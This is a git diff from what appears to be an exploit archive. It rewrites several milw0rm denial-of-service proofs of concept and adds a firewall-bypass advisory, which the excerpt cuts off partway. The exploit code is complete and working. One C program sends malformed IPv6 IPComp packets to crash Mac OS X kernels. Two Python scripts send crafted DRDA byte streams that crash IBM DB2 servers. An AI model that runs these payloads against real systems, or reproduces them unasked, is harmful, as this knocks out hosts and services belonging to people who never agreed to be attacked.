- * by mu-b - Sun 24 Feb 2008
- *
- * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
- *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
- *
- * ipcomp6_input does not verify the success of the first call
- * to m_pulldown (m -> md typo?).
- *
- *         md = m_pulldown(m, off, sizeof(*ipcomp), NULL);
- *         if (!m) {
- * ->
- *         md = m_pulldown(m, off, sizeof(*ipcomp), NULL);
- *         if (!md) {
- *                                    (bsd/netinet6/ipcomp_input.c)
- *
- * curiosly the same bug exists in ipcomp4_input, but an explicit
- * check is made to ensure there is enough space for the struct ipcomp.
- *
- * Note: bug independently found by Shoichi Sakane of the KAME project.
- *       (FreeBSD 5.5, 4.9.0 & NetBSD 3.1 also vulnerable)
- *          (http://www.kb.cert.org/vuls/id/110947)
- *          (http://www.securityfocus.com/bid/27642)
- *          (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0177)
- *
- *    - Private Source Code -DO NOT DISTRIBUTE -
- * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-
-#include <arpa/inet.h>
-#include <ifaddrs.h>
-#include <libnet.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <unistd.h>
-
-#define IPV6_INTERFACE    "eth0"
-#define IPV6_SRC_OFFSET   8
-#define IPV6_DST_OFFSET   24
-
-#define HAMMER_NUM        8
-
-static unsigned char pbuf[] = 
-  "\x60"
-  "\x00\x00\x00"
-  "\x00\x00"      /* plen = 0           */
-  "\x6c"          /* nxt_hdr = IPComp   */
-  "\x66"
-  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
-
-static int
-get_localip (char *if_name, unsigned int *ip6_addr)
-{
-  struct ifaddrs *ifa_head;
-  int result;
-
-  result = -1;
-  if (getifaddrs (&ifa_head) == 0)
-    {
-      struct ifaddrs *ifa_cur;
-
-      ifa_cur = ifa_head;
-      for (ifa_cur = ifa_head; ifa_cur; ifa_cur = ifa_cur->ifa_next)
-        {
-          if (ifa_cur->ifa_name != NULL && ifa_cur->ifa_addr != NULL)
-            {
-              if (strcmp (if_name, (char *) ifa_cur->ifa_name) != 0 ||
-                  ifa_cur->ifa_addr->sa_family != AF_INET6 ||
-                  !(ifa_cur->ifa_flags & IFF_UP))
-                continue;
-
-              memcpy (ip6_addr,
-                      &(((struct sockaddr_in6 *) ifa_cur->ifa_addr)->sin6_addr),
-                      sizeof (int) * 4);
-              result = 0;
-              break;
-            }
-        }
-
-      freeifaddrs (ifa_head);
-    }
-
-  return (result);
-}
-
-int
-main (int argc, char **argv)
-{
-  char errbuf[LIBNET_ERRBUF_SIZE], ip6_buf[128];
-  unsigned int i, ip6_addr[4];
-  libnet_t *lnsock;
-
-  printf ("Apple MACOS X xnu <= 1228.3.13 ipv6-ipcomp remote kernel DoS PoC\n"
-          "by: <mu-b@digit-labs.org>\n"
-          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
-
-  if (argc < 2)
-    {
-      fprintf (stderr, "Usage: %s <dst ipv6>\n", argv[0]);
-      exit (EXIT_FAILURE);
-    }
-
-  if (get_localip (IPV6_INTERFACE,
-                   (unsigned int *) &pbuf[IPV6_SRC_OFFSET]) < 0)
-    {
-      fprintf (stderr, "* get_localip() failed\n");
-      exit (EXIT_FAILURE);
-    }
-
-  if (inet_pton (AF_INET6, argv[1], ip6_addr) <= 0)
-    {
-      fprintf (stderr, "* inet_pton() failed\n");
-      exit (EXIT_FAILURE);
-    }
-  memcpy (&pbuf[IPV6_DST_OFFSET], ip6_addr, sizeof ip6_addr);
-
-  lnsock = libnet_init (LIBNET_RAW6_ADV, NULL, errbuf);
-  if (lnsock == NULL)
-    {
-      fprintf (stderr, "* libnet_init() failed: %s\n", errbuf);
-      exit (EXIT_FAILURE);
-    }
-
-  inet_ntop (AF_INET6, &pbuf[IPV6_SRC_OFFSET], ip6_buf, sizeof ip6_buf);
-  printf ("* local ipv6 %s...\n", ip6_buf);
-  printf ("* attacking %s...", argv[1]);
-  for (i = 0; i < HAMMER_NUM; i++)
-    libnet_write_raw_ipv6 (lnsock, pbuf, sizeof pbuf - 1);
-  printf ("done\n");
-
-  return (EXIT_SUCCESS);
-}
-
-// milw0rm.com [2008-02-26]
+/* xnu-ipv6-ipcomp.c
+ *
+ * Copyright (c) 2008 by <mu-b@digit-labs.org>
+ *
+ * Apple MACOS X xnu <= 1228.3.13 ipv6-ipcomp remote kernel DoS POC
+ * by mu-b - Sun 24 Feb 2008
+ *
+ * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
+ *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
+ *
+ * ipcomp6_input does not verify the success of the first call
+ * to m_pulldown (m -> md typo?).
+ *
+ *         md = m_pulldown(m, off, sizeof(*ipcomp), NULL);
+ *         if (!m) {
+ * ->
+ *         md = m_pulldown(m, off, sizeof(*ipcomp), NULL);
+ *         if (!md) {
+ *                                    (bsd/netinet6/ipcomp_input.c)
+ *
+ * curiosly the same bug exists in ipcomp4_input, but an explicit
+ * check is made to ensure there is enough space for the struct ipcomp.
+ *
+ * Note: bug independently found by Shoichi Sakane of the KAME project.
+ *       (FreeBSD 5.5, 4.9.0 & NetBSD 3.1 also vulnerable)
+ *          (http://www.kb.cert.org/vuls/id/110947)
+ *          (http://www.securityfocus.com/bid/27642)
+ *          (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0177)
+ *
+ *    - Private Source Code -DO NOT DISTRIBUTE -
+ * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <arpa/inet.h>
+#include <ifaddrs.h>
+#include <libnet.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <unistd.h>
+
+#define IPV6_INTERFACE    "eth0"
+#define IPV6_SRC_OFFSET   8
+#define IPV6_DST_OFFSET   24
+
+#define HAMMER_NUM        8
+
+static unsigned char pbuf[] = 
+  "\x60"
+  "\x00\x00\x00"
+  "\x00\x00"      /* plen = 0           */
+  "\x6c"          /* nxt_hdr = IPComp   */
+  "\x66"
+  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+
+static int
+get_localip (char *if_name, unsigned int *ip6_addr)
+{
+  struct ifaddrs *ifa_head;
+  int result;
+
+  result = -1;
+  if (getifaddrs (&ifa_head) == 0)
+    {
+      struct ifaddrs *ifa_cur;
+
+      ifa_cur = ifa_head;
+      for (ifa_cur = ifa_head; ifa_cur; ifa_cur = ifa_cur->ifa_next)
+        {
+          if (ifa_cur->ifa_name != NULL && ifa_cur->ifa_addr != NULL)
+            {
+              if (strcmp (if_name, (char *) ifa_cur->ifa_name) != 0 ||
+                  ifa_cur->ifa_addr->sa_family != AF_INET6 ||
+                  !(ifa_cur->ifa_flags & IFF_UP))
+                continue;
+
+              memcpy (ip6_addr,
+                      &(((struct sockaddr_in6 *) ifa_cur->ifa_addr)->sin6_addr),
+                      sizeof (int) * 4);
+              result = 0;
+              break;
+            }
+        }
+
+      freeifaddrs (ifa_head);
+    }
+
+  return (result);
+}
+
+int
+main (int argc, char **argv)
+{
+  char errbuf[LIBNET_ERRBUF_SIZE], ip6_buf[128];
+  unsigned int i, ip6_addr[4];
+  libnet_t *lnsock;
+
+  printf ("Apple MACOS X xnu <= 1228.3.13 ipv6-ipcomp remote kernel DoS PoC\n"
+          "by: <mu-b@digit-labs.org>\n"
+          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
+
+  if (argc < 2)
+    {
+      fprintf (stderr, "Usage: %s <dst ipv6>\n", argv[0]);
+      exit (EXIT_FAILURE);
+    }
+
+  if (get_localip (IPV6_INTERFACE,
+                   (unsigned int *) &pbuf[IPV6_SRC_OFFSET]) < 0)
+    {
+      fprintf (stderr, "* get_localip() failed\n");
+      exit (EXIT_FAILURE);
+    }
+
+  if (inet_pton (AF_INET6, argv[1], ip6_addr) <= 0)
+    {
+      fprintf (stderr, "* inet_pton() failed\n");
+      exit (EXIT_FAILURE);
+    }
+  memcpy (&pbuf[IPV6_DST_OFFSET], ip6_addr, sizeof ip6_addr);
+
+  lnsock = libnet_init (LIBNET_RAW6_ADV, NULL, errbuf);
+  if (lnsock == NULL)
+    {
+      fprintf (stderr, "* libnet_init() failed: %s\n", errbuf);
+      exit (EXIT_FAILURE);
+    }
+
+  inet_ntop (AF_INET6, &pbuf[IPV6_SRC_OFFSET], ip6_buf, sizeof ip6_buf);
+  printf ("* local ipv6 %s...\n", ip6_buf);
+  printf ("* attacking %s...", argv[1]);
+  for (i = 0; i < HAMMER_NUM; i++)
+    libnet_write_raw_ipv6 (lnsock, pbuf, sizeof pbuf - 1);
+  printf ("done\n");
+
+  return (EXIT_SUCCESS);
+}
+
+// milw0rm.com [2008-02-26]
diff --git a/platforms/multiple/dos/8344.py b/platforms/multiple/dos/8344.py
index d63d64cdf..4579fa700 100755
--- a/platforms/multiple/dos/8344.py
+++ b/platforms/multiple/dos/8344.py
@@ -1,33 +1,33 @@
-# Discovered by Dennis Yurichev <dennis@conus.info>
-
-# DB2TEST database should be present on target system
-
-from sys import *
-from socket import *
-
-sockobj = socket(AF_INET, SOCK_STREAM)
-
-sockobj.connect ((argv[1], 50000))
-
-sockobj.send(
-"\x00\xBE\xD0\x41\x00\x01\x00\xB8\x10\x41\x00\x7F\x11\x5E\x97\xA8"
-"\xA3\x88\x96\x95\x4B\x85\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40"
-"\x40\x40\xF0\xF1\xC3\xF4\xF0\xF1\xF1\xF8\xF0\xF0\xF0\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xF0\xF0"
-"\xF0\xF1\xD5\xC1\xD4\xC5\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
-"\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\xF0\xC4\xC2\xF2\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x18\x14\x04\x14\x03\x00"
-"\x07\x24\x07\x00\x09\x14\x74\x00\x05\x24\x0F\x00\x08\x14\x40\x00"
-"\x08\x00\x0B\x11\x47\xD8\xC4\xC2\xF2\x61\xD5\xE3\x00\x06\x11\x6D"
-"\xE7\xD7\x00\x0C\x11\x5A\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0\x00\x4A"
-"\xD0\x01\x00\x02\x00\x44\x10\x6E\x00\x06\x11\xA2\x00\x09\x00\x16"
-"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x00\x24\x11\xDC\x6F\xC1\x3B\xD4\x3C\x33\xF8\x0C"
-"\xC9\x96\x6E\x6C\xCD\xB9\x0A\x2C\x9C\xEC\x49\x2A\x1A\x4D\xCE\x62"
-"\x47\x9D\x37\x88\xA8\x77\x23\x43")
-
-sockobj.close()
-
-# milw0rm.com [2009-04-03]
+# Discovered by Dennis Yurichev <dennis@conus.info>
+
+# DB2TEST database should be present on target system
+
+from sys import *
+from socket import *
+
+sockobj = socket(AF_INET, SOCK_STREAM)
+
+sockobj.connect ((argv[1], 50000))
+
+sockobj.send(
+"\x00\xBE\xD0\x41\x00\x01\x00\xB8\x10\x41\x00\x7F\x11\x5E\x97\xA8"
+"\xA3\x88\x96\x95\x4B\x85\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40"
+"\x40\x40\xF0\xF1\xC3\xF4\xF0\xF1\xF1\xF8\xF0\xF0\xF0\x00\x00\x00"
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xF0\xF0"
+"\xF0\xF1\xD5\xC1\xD4\xC5\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
+"\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\xF0\xC4\xC2\xF2\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x18\x14\x04\x14\x03\x00"
+"\x07\x24\x07\x00\x09\x14\x74\x00\x05\x24\x0F\x00\x08\x14\x40\x00"
+"\x08\x00\x0B\x11\x47\xD8\xC4\xC2\xF2\x61\xD5\xE3\x00\x06\x11\x6D"
+"\xE7\xD7\x00\x0C\x11\x5A\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0\x00\x4A"
+"\xD0\x01\x00\x02\x00\x44\x10\x6E\x00\x06\x11\xA2\x00\x09\x00\x16"
+"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x00\x24\x11\xDC\x6F\xC1\x3B\xD4\x3C\x33\xF8\x0C"
+"\xC9\x96\x6E\x6C\xCD\xB9\x0A\x2C\x9C\xEC\x49\x2A\x1A\x4D\xCE\x62"
+"\x47\x9D\x37\x88\xA8\x77\x23\x43")
+
+sockobj.close()
+
+# milw0rm.com [2009-04-03]
diff --git a/platforms/multiple/dos/8345.py b/platforms/multiple/dos/8345.py
index ec291da5d..3720d354f 100755
--- a/platforms/multiple/dos/8345.py
+++ b/platforms/multiple/dos/8345.py
@@ -1,90 +1,90 @@
-# Discovered by Dennis Yurichev <dennis@conus.info>
-
-# DB2TEST database should be present on target system
-# GUEST account with QQ password shoule be present on target system
-
-from sys import *
-from socket import *
-
-sockobj = socket(AF_INET, SOCK_STREAM)
-
-sockobj.connect ((argv[1], 50000))
-
-sockobj.send(
-"\x00\xBE\xD0\x41\x00\x01\x00\xB8\x10\x41\x00\x7F\x11\x5E\x97\xA8"
-"\xA3\x88\x96\x95\x4B\x85\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40"
-"\x40\x40\xF0\xF1\xC2\xF4\xF0\xF3\xC2\xF8\xF0\xF0\xF0\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xF0\xF0"
-"\xF0\xF1\xD5\xC1\xD4\xC5\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
-"\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\xF0\xC4\xC2\xF2\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x18\x14\x04\x14\x03\x00"
-"\x07\x24\x07\x00\x09\x14\x74\x00\x05\x24\x0F\x00\x08\x14\x40\x00"
-"\x08\x00\x0B\x11\x47\xD8\xC4\xC2\xF2\x61\xD5\xE3\x00\x06\x11\x6D"
-"\xE7\xD7\x00\x0C\x11\x5A\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0\x00\x4A"
-"\xD0\x01\x00\x02\x00\x44\x10\x6D\x00\x06\x11\xA2\x00\x09\x00\x16"
-"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x00\x24\x11\xDC\x71\x71\x99\xA7\xDF\xD5\x8F\x18"
-"\x45\x96\xD6\x07\x08\x8D\xDC\x60\x4F\xFA\xE6\x37\x4D\x6A\x62\xAB"
-"\x0C\xE1\x00\xAB\xA3\xD5\x32\x3E"
-)
-
-data=sockobj.recv(102400)
-
-sockobj.send(
-"\x00\x26\xD0\x41\x00\x01\x00\x20\x10\x6D\x00\x06\x11\xA2\x00\x03"
-"\x00\x16\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x40\x40\x00\x35\xD0\x41\x00\x02\x00\x2F\x10\x6E"
-"\x00\x06\x11\xA2\x00\x03\x00\x16\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2"
-"\xE3\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x06\x11\xA1"
-"\x98\x98\x00\x09\x11\xA0\x87\xA4\x85\xA2\xA3\x00\xBF\xD0\x01\x00"
-"\x03\x00\xB9\x20\x01\x00\x06\x21\x0F\x24\x07\x00\x23\x21\x35\xF1"
-"\xF9\xF2\x4B\xF1\xF6\xF8\x4B\xF0\x4B\xF1\xF0\xF8\x4B\xF3\xF5\xF3"
-"\xF3\xF3\x4B\xF0\xF8\xF1\xF0\xF2\xF3\xF1\xF6\xF0\xF8\xF1\x00\x16"
-"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x00\x0C\x11\x2E\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0"
-"\x00\x0D\x00\x2F\xD8\xE3\xC4\xE2\xD8\xD3\xE7\xF8\xF6\x00\x1C\x00"
-"\x35\x00\x06\x11\x9C\x04\xE4\x00\x06\x11\x9D\x04\xB0\x00\x06\x11"
-"\x9E\x04\xE4\x00\x06\x19\x13\x04\xB8\x00\x3C\x21\x04\x37\xE2\xD8"
-"\xD3\xF0\xF9\xF0\xF5\xF0\xD5\xE3\x40\x40\x40\x40\x40\x40\x40\x40"
-"\x40\x40\x40\x40\x40\x40\x40\x40\x97\xA8\xA3\x88\x96\x95\x4B\x85"
-"\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x87\xA4\x85\xA2"
-"\xA3\x40\x40\x40\x00\x00\x05\x21\x3B\xF1"
-)
-
-data=sockobj.recv(102400)
-
-sockobj.send(
-"\x00\x12\xD0\x41\x00\x01\x00\x0C\x10\x41\x00\x08\x14\x04\x14\xCC"
-"\x04\xE4\x00\x4E\xD0\x51\x00\x02\x00\x48\x20\x14\x00\x44\x21\x13"
-"\x44\x42\x32\x54\x45\x53\x54\x20\x20\x20\x20\x20\x20\x20\x20\x20"
-"\x20\x20\x4E\x55\x4C\x4C\x49\x44\x20\x20\x20\x20\x20\x20\x20\x20"
-"\x20\x20\x20\x20\x53\x59\x53\x53\x48\x32\x30\x30\x20\x20\x20\x20"
-"\x20\x20\x20\x20\x20\x20\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01"
-"\x00\x35\xD0\x74\x00\x02\x00\x2F\x24\x14\x00\x00\x00\x00\x25\x53"
-"\x45\x54\x20\x43\x55\x52\x52\x45\x4E\x54\x20\x4C\x4F\x43\x41\x4C"
-"\x45\x20\x4C\x43\x5F\x43\x54\x59\x50\x45\x20\x3D\x20\x27\x65\x6E"
-"\x5F\x55\x53\x27\xFF\x00\x53\xD0\x51\x00\x03\x00\x4D\x20\x0D\x00"
-"\x44\x21\x13\x44\x42\x32\x54\x45\x53\x54\x20\x20\x20\x20\x20\x20"
-"\x20\x20\x20\x20\x20\x4E\x55\x4C\x4C\x49\x44\x20\x20\x20\x20\x20"
-"\x20\x20\x20\x20\x20\x20\x20\x53\x59\x53\x53\x48\x32\x30\x30\x20"
-"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x59\x53\x4C\x56\x4C\x30"
-"\x31\x00\x04\x00\x05\x21\x16\xF1\x00\x1A\xD0\x53\x00\x03\x00\x14"
-"\x24\x50\x00\x00\x00\x00\x0A\x57\x49\x54\x48\x20\x48\x4F\x4C\x44"
-"\x20\xFF\x00\x41\xD0\x43\x00\x03\x00\x3B\x24\x14\x00\x00\x00\x00"
-"\x31\x73\x65\x6C\x65\x63\x74\x20\x2A\x20\x46\x52\x4F\x4D\x20\x54"
-"\x41\x42\x4C\x45\x20\x28\x73\x79\x73\x70\x72\x6F\x63\x2E\x65\x6E"
-"\x76\x5F\x67\x65\x74\x5F\x69\x6E\x73\x74\x5F\x69\x6E\x66\x6F\x28"
-"\x29\x29\xFF\x00\x66\xD0\x01\x00\x04\x00\x60\x20\x0C\x00\x44\x21"
-"\x13\x44\x42\x32\x54\x45\x53\x54\x20\x20\x20\x20\x20\x20\x20\x20"
-"\x20\x20\x20\x4E\x55\x4C\x4C\x49\x44\x20\x20\x20\x20\x20\x20\x20"
-"\x20\x20\x20\x20\x20\x53\x59\x53\x53\x48\x32\x30\x30\x20\x20\x20"
-"\x20\x20\x20\x20\x20\x20\x20\x53\x59\x53\x4C\x56\x4C\x30\x31\x00"
-"\x04\x00\x08\x21\x14\x00\x00\x7F\xFF\x00\x06\x21\x41\xFF\xFF\x00"
-"\x05\x21\x5D\x01\x00\x05\x21\x4B\xF1"
-)
-
-sockobj.close()
-
-# milw0rm.com [2009-04-03]
+# Discovered by Dennis Yurichev <dennis@conus.info>
+
+# DB2TEST database should be present on target system
+# GUEST account with QQ password shoule be present on target system
+
+from sys import *
+from socket import *
+
+sockobj = socket(AF_INET, SOCK_STREAM)
+
+sockobj.connect ((argv[1], 50000))
+
+sockobj.send(
+"\x00\xBE\xD0\x41\x00\x01\x00\xB8\x10\x41\x00\x7F\x11\x5E\x97\xA8"
+"\xA3\x88\x96\x95\x4B\x85\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40"
+"\x40\x40\xF0\xF1\xC2\xF4\xF0\xF3\xC2\xF8\xF0\xF0\xF0\x00\x00\x00"
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xF0\xF0"
+"\xF0\xF1\xD5\xC1\xD4\xC5\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
+"\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\xF0\xC4\xC2\xF2\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x18\x14\x04\x14\x03\x00"
+"\x07\x24\x07\x00\x09\x14\x74\x00\x05\x24\x0F\x00\x08\x14\x40\x00"
+"\x08\x00\x0B\x11\x47\xD8\xC4\xC2\xF2\x61\xD5\xE3\x00\x06\x11\x6D"
+"\xE7\xD7\x00\x0C\x11\x5A\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0\x00\x4A"
+"\xD0\x01\x00\x02\x00\x44\x10\x6D\x00\x06\x11\xA2\x00\x09\x00\x16"
+"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x00\x24\x11\xDC\x71\x71\x99\xA7\xDF\xD5\x8F\x18"
+"\x45\x96\xD6\x07\x08\x8D\xDC\x60\x4F\xFA\xE6\x37\x4D\x6A\x62\xAB"
+"\x0C\xE1\x00\xAB\xA3\xD5\x32\x3E"
+)
+
+data=sockobj.recv(102400)
+
+sockobj.send(
+"\x00\x26\xD0\x41\x00\x01\x00\x20\x10\x6D\x00\x06\x11\xA2\x00\x03"
+"\x00\x16\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x40\x40\x00\x35\xD0\x41\x00\x02\x00\x2F\x10\x6E"
+"\x00\x06\x11\xA2\x00\x03\x00\x16\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2"
+"\xE3\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x06\x11\xA1"
+"\x98\x98\x00\x09\x11\xA0\x87\xA4\x85\xA2\xA3\x00\xBF\xD0\x01\x00"
+"\x03\x00\xB9\x20\x01\x00\x06\x21\x0F\x24\x07\x00\x23\x21\x35\xF1"
+"\xF9\xF2\x4B\xF1\xF6\xF8\x4B\xF0\x4B\xF1\xF0\xF8\x4B\xF3\xF5\xF3"
+"\xF3\xF3\x4B\xF0\xF8\xF1\xF0\xF2\xF3\xF1\xF6\xF0\xF8\xF1\x00\x16"
+"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x00\x0C\x11\x2E\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0"
+"\x00\x0D\x00\x2F\xD8\xE3\xC4\xE2\xD8\xD3\xE7\xF8\xF6\x00\x1C\x00"
+"\x35\x00\x06\x11\x9C\x04\xE4\x00\x06\x11\x9D\x04\xB0\x00\x06\x11"
+"\x9E\x04\xE4\x00\x06\x19\x13\x04\xB8\x00\x3C\x21\x04\x37\xE2\xD8"
+"\xD3\xF0\xF9\xF0\xF5\xF0\xD5\xE3\x40\x40\x40\x40\x40\x40\x40\x40"
+"\x40\x40\x40\x40\x40\x40\x40\x40\x97\xA8\xA3\x88\x96\x95\x4B\x85"
+"\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x87\xA4\x85\xA2"
+"\xA3\x40\x40\x40\x00\x00\x05\x21\x3B\xF1"
+)
+
+data=sockobj.recv(102400)
+
+sockobj.send(
+"\x00\x12\xD0\x41\x00\x01\x00\x0C\x10\x41\x00\x08\x14\x04\x14\xCC"
+"\x04\xE4\x00\x4E\xD0\x51\x00\x02\x00\x48\x20\x14\x00\x44\x21\x13"
+"\x44\x42\x32\x54\x45\x53\x54\x20\x20\x20\x20\x20\x20\x20\x20\x20"
+"\x20\x20\x4E\x55\x4C\x4C\x49\x44\x20\x20\x20\x20\x20\x20\x20\x20"
+"\x20\x20\x20\x20\x53\x59\x53\x53\x48\x32\x30\x30\x20\x20\x20\x20"
+"\x20\x20\x20\x20\x20\x20\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01"
+"\x00\x35\xD0\x74\x00\x02\x00\x2F\x24\x14\x00\x00\x00\x00\x25\x53"
+"\x45\x54\x20\x43\x55\x52\x52\x45\x4E\x54\x20\x4C\x4F\x43\x41\x4C"
+"\x45\x20\x4C\x43\x5F\x43\x54\x59\x50\x45\x20\x3D\x20\x27\x65\x6E"
+"\x5F\x55\x53\x27\xFF\x00\x53\xD0\x51\x00\x03\x00\x4D\x20\x0D\x00"
+"\x44\x21\x13\x44\x42\x32\x54\x45\x53\x54\x20\x20\x20\x20\x20\x20"
+"\x20\x20\x20\x20\x20\x4E\x55\x4C\x4C\x49\x44\x20\x20\x20\x20\x20"
+"\x20\x20\x20\x20\x20\x20\x20\x53\x59\x53\x53\x48\x32\x30\x30\x20"
+"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x59\x53\x4C\x56\x4C\x30"
+"\x31\x00\x04\x00\x05\x21\x16\xF1\x00\x1A\xD0\x53\x00\x03\x00\x14"
+"\x24\x50\x00\x00\x00\x00\x0A\x57\x49\x54\x48\x20\x48\x4F\x4C\x44"
+"\x20\xFF\x00\x41\xD0\x43\x00\x03\x00\x3B\x24\x14\x00\x00\x00\x00"
+"\x31\x73\x65\x6C\x65\x63\x74\x20\x2A\x20\x46\x52\x4F\x4D\x20\x54"
+"\x41\x42\x4C\x45\x20\x28\x73\x79\x73\x70\x72\x6F\x63\x2E\x65\x6E"
+"\x76\x5F\x67\x65\x74\x5F\x69\x6E\x73\x74\x5F\x69\x6E\x66\x6F\x28"
+"\x29\x29\xFF\x00\x66\xD0\x01\x00\x04\x00\x60\x20\x0C\x00\x44\x21"
+"\x13\x44\x42\x32\x54\x45\x53\x54\x20\x20\x20\x20\x20\x20\x20\x20"
+"\x20\x20\x20\x4E\x55\x4C\x4C\x49\x44\x20\x20\x20\x20\x20\x20\x20"
+"\x20\x20\x20\x20\x20\x53\x59\x53\x53\x48\x32\x30\x30\x20\x20\x20"
+"\x20\x20\x20\x20\x20\x20\x20\x53\x59\x53\x4C\x56\x4C\x30\x31\x00"
+"\x04\x00\x08\x21\x14\x00\x00\x7F\xFF\x00\x06\x21\x41\xFF\xFF\x00"
+"\x05\x21\x5D\x01\x00\x05\x21\x4B\xF1"
+)
+
+sockobj.close()
+
+# milw0rm.com [2009-04-03]
diff --git a/platforms/multiple/dos/948.c b/platforms/multiple/dos/948.c
index 7977cb0a1..3a64028f4 100755
--- a/platforms/multiple/dos/948.c
+++ b/platforms/multiple/dos/948.c
@@ -455,6 +455,6 @@ main(int argc, char **argv)
 #endif
 
        return 0;
-}
-
-// milw0rm.com [2005-04-20]
+}
+
+// milw0rm.com [2005-04-20]
diff --git a/platforms/multiple/local/30039.txt b/platforms/multiple/local/30039.txt
new file mode 100755
index 000000000..5d918953e
--- /dev/null
+++ b/platforms/multiple/local/30039.txt
@@ -0,0 +1,16 @@
+source: http://www.securityfocus.com/bid/23987/info
+
+Multiple personal firewall products are prone to a vulnerability that lets attackers bypass protection mechanisms. This issue occurs because the applications fail to properly implement protection mechanisms based on valid process identifiers.
+
+Exploiting this issue allows local attackers to bypass protection mechanisms implemented to restrict access to the memory space of critical processes. This allows attackers to execute arbitrary code with elevated privileges; other attacks are also possible.
+
+The following applications are vulnerable to this issue:
+- Comodo Firewall Pro 2.4.18.184
+- Comodo Personal Firewall 2.3.6.81
